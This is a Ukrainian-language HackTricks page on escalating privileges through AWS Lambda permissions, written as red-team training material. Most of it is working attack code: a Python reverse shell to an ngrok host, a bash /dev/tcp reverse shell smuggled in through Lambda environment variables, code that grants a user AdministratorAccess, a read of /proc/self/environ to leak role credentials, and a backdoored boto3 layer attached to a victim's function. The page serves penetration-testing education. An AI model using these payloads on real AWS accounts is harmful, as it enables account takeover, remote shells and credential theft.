AWS - Lambda Privesc

Reading time: 11 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

lambda

Більше інформації про lambda в:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Користувачі з правами iam:PassRole, lambda:CreateFunction та lambda:InvokeFunction можуть підвищити свої привілеї.
Вони можуть створити нову Lambda функцію та призначити їй існуючу IAM роль, надаючи функції дозволи, пов'язані з цією роллю. Користувач може потім написати та завантажити код до цієї Lambda функції (наприклад, з rev shell).
Після налаштування функції користувач може запустити її виконання та заплановані дії, викликавши Lambda функцію через AWS API. Цей підхід ефективно дозволяє користувачу виконувати завдання непрямо через Lambda функцію, працюючи з рівнем доступу, наданим IAM роллю, пов'язаною з нею.\

Зловмисник може зловживати цим, щоб отримати rev shell та вкрасти токен:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
bash
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Ви також можете зловживати дозволами ролі lambda з самої функції lambda.
Якщо роль lambda мала достатньо дозволів, ви могли б використати її для надання адміністративних прав собі:

python
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

Також можливо витікати облікові дані ролі lambda без необхідності зовнішнього з'єднання. Це буде корисно для мережевих ізольованих Lambdas, які використовуються для внутрішніх завдань. Якщо є невідомі групи безпеки, які фільтрують ваші зворотні оболонки, цей фрагмент коду дозволить вам безпосередньо витікати облікові дані як вихідні дані lambda.

python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
bash
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Потенційний вплив: Пряме підвищення привілеїв до вказаної довільної ролі служби lambda.

caution

Зверніть увагу, що навіть якщо це може виглядати цікаво, lambda:InvokeAsync не дозволяє самостійно виконувати aws lambda invoke-async, вам також потрібен lambda:InvokeFunction

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Як і в попередньому сценарії, ви можете надати собі дозвіл lambda:InvokeFunction, якщо у вас є дозвіл lambda:AddPermission

bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Потенційний вплив: Пряме підвищення привілеїв до вказаної довільної ролі служби lambda.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Користувачі з дозволами iam:PassRole, lambda:CreateFunction та lambda:CreateEventSourceMapping (а також потенційно dynamodb:PutItem та dynamodb:CreateTable) можуть непрямо підвищити привілеї, навіть без lambda:InvokeFunction.
Вони можуть створити функцію Lambda з шкідливим кодом і призначити їй існуючу IAM роль.

Замість того, щоб безпосередньо викликати Lambda, користувач налаштовує або використовує існуючу таблицю DynamoDB, пов'язуючи її з Lambda через картографування джерела подій. Це налаштування забезпечує автоматичний тригер функції Lambda при додаванні нового елемента в таблицю, або через дію користувача, або інший процес, таким чином непрямо викликаючи функцію Lambda та виконуючи код з дозволами переданої IAM ролі.

bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Якщо DynamoDB вже активний в середовищі AWS, користувачеві лише необхідно встановити відображення джерела подій для функції Lambda. Однак, якщо DynamoDB не використовується, користувач повинен створити нову таблицю з увімкненим потоковим режимом:

bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Тепер можливо підключити функцію Lambda до таблиці DynamoDB шляхом створення відображення джерела подій:

bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

З функцією Lambda, пов'язаною зі стрімом DynamoDB, зловмисник може непрямо активувати Lambda, активуючи стрім DynamoDB. Це можна зробити, вставивши елемент у таблицю DynamoDB:

bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Потенційний вплив: Пряме підвищення привілеїв до ролі служби lambda, що вказана.

lambda:AddPermission

Зловмисник з цим дозволом може надавати собі (або іншим) будь-які дозволи (це генерує політики на основі ресурсів для надання доступу до ресурсу):

bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

Потенційний вплив: Пряме підвищення привілеїв до ролі служби lambda, що використовується шляхом надання дозволу на зміну коду та його виконання.

lambda:AddLayerVersionPermission

Зловмисник з цим дозволом може наділити себе (або інших) дозволом lambda:GetLayerVersion. Він може отримати доступ до шару та шукати вразливості або чутливу інформацію.

bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Потенційний вплив: Потенційний доступ до чутливої інформації.

lambda:UpdateFunctionCode

Користувачі, які мають дозвіл lambda:UpdateFunctionCode, мають можливість модифікувати код існуючої Lambda-функції, яка пов'язана з роллю IAM.
Зловмисник може модифікувати код lambda для ексфільтрації облікових даних IAM.

Хоча зловмисник може не мати прямої можливості викликати функцію, якщо Lambda-функція вже існує і працює, ймовірно, що вона буде активована через існуючі робочі процеси або події, тим самим непрямо сприяючи виконанню модифікованого коду.

bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Потенційний вплив: Пряме підвищення привілеїв до ролі служби lambda.

lambda:UpdateFunctionConfiguration

RCE через змінні середовища

З цими дозволами можливо додати змінні середовища, які викличуть виконання довільного коду в Lambda. Наприклад, у Python можливо зловживати змінними середовища PYTHONWARNING та BROWSER, щоб змусити процес Python виконувати довільні команди:

bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

Для інших мов сценаріїв є інші змінні середовища, які ви можете використовувати. Для отримання додаткової інформації перевірте підрозділи мов сценаріїв у:

macOS Process Abuse - HackTricks

RCE через Lambda Layers

Lambda Layers дозволяє включати код у вашу функцію lamdba, але зберігати його окремо, так що код функції може залишатися маленьким, а кілька функцій можуть ділитися кодом.

Всередині lambda ви можете перевірити шляхи, з яких завантажується python код, за допомогою функції, подібної до наступної:

python
import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

Це місця:

  1. /var/task
  2. /opt/python/lib/python3.7/site-packages
  3. /opt/python
  4. /var/runtime
  5. /var/lang/lib/python37.zip
  6. /var/lang/lib/python3.7
  7. /var/lang/lib/python3.7/lib-dynload
  8. /var/lang/lib/python3.7/site-packages
  9. /opt/python/lib/python3.7/site-packages
  10. /opt/python

Наприклад, бібліотека boto3 завантажується з /var/runtime/boto3 (4-та позиція).

Експлуатація

Можливо зловживати дозволом lambda:UpdateFunctionConfiguration, щоб додати новий шар до функції lambda. Щоб виконати довільний код, цей шар повинен містити якусь бібліотеку, яку lambda збирається імпортувати. Якщо ви можете прочитати код lambda, ви можете легко це знайти, також зверніть увагу, що можливо, що lambda вже використовує шар і ви могли б завантажити шар і додати свій код туди.

Наприклад, припустимо, що lambda використовує бібліотеку boto3, це створить локальний шар з останньою версією бібліотеки:

bash
pip3 install -t ./lambda_layer boto3

Ви можете відкрити ./lambda_layer/boto3/__init__.py і додати бекдор у глобальний код (функцію для ексфільтрації облікових даних або отримання зворотного шелу, наприклад).

Потім стисніть цю директорію ./lambda_layer і завантажте новий lambda layer у свій обліковий запис (або в обліковий запис жертви, але у вас можуть не бути на це дозволи).
Зверніть увагу, що вам потрібно створити папку python і помістити бібліотеки туди, щоб перекрити /opt/python/boto3. Крім того, layer повинен бути сумісним з версією python, що використовується lambda, і якщо ви завантажите його у свій обліковий запис, він повинен бути в тій же області:

bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Тепер зробіть завантажений шар lambda доступним для будь-якого облікового запису:

bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

І прикріпіть шар lambda до функції lambda жертви:

bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

Наступним кроком буде або виклик функції самостійно, якщо ми можемо, або чекати, поки вона буде викликана звичайними засобами – що є більш безпечним методом.

Більш прихований спосіб експлуатації цієї вразливості можна знайти в:

AWS - Lambda Layers Persistence

Потенційний вплив: Пряме підвищення привілеїв до ролі служби lambda.

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Можливо, з цими дозволами ви зможете створити функцію та виконати її, викликавши URL... але я не зміг знайти спосіб це протестувати, тож дайте знати, якщо ви це зробите!

Lambda MitM

Деякі lambdas будуть отримувати чутливу інформацію від користувачів у параметрах. Якщо ви отримаєте RCE в одній з них, ви зможете ексфільтрувати інформацію, яку інші користувачі надсилають їй, перевірте це в:

AWS - Steal Lambda Requests

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks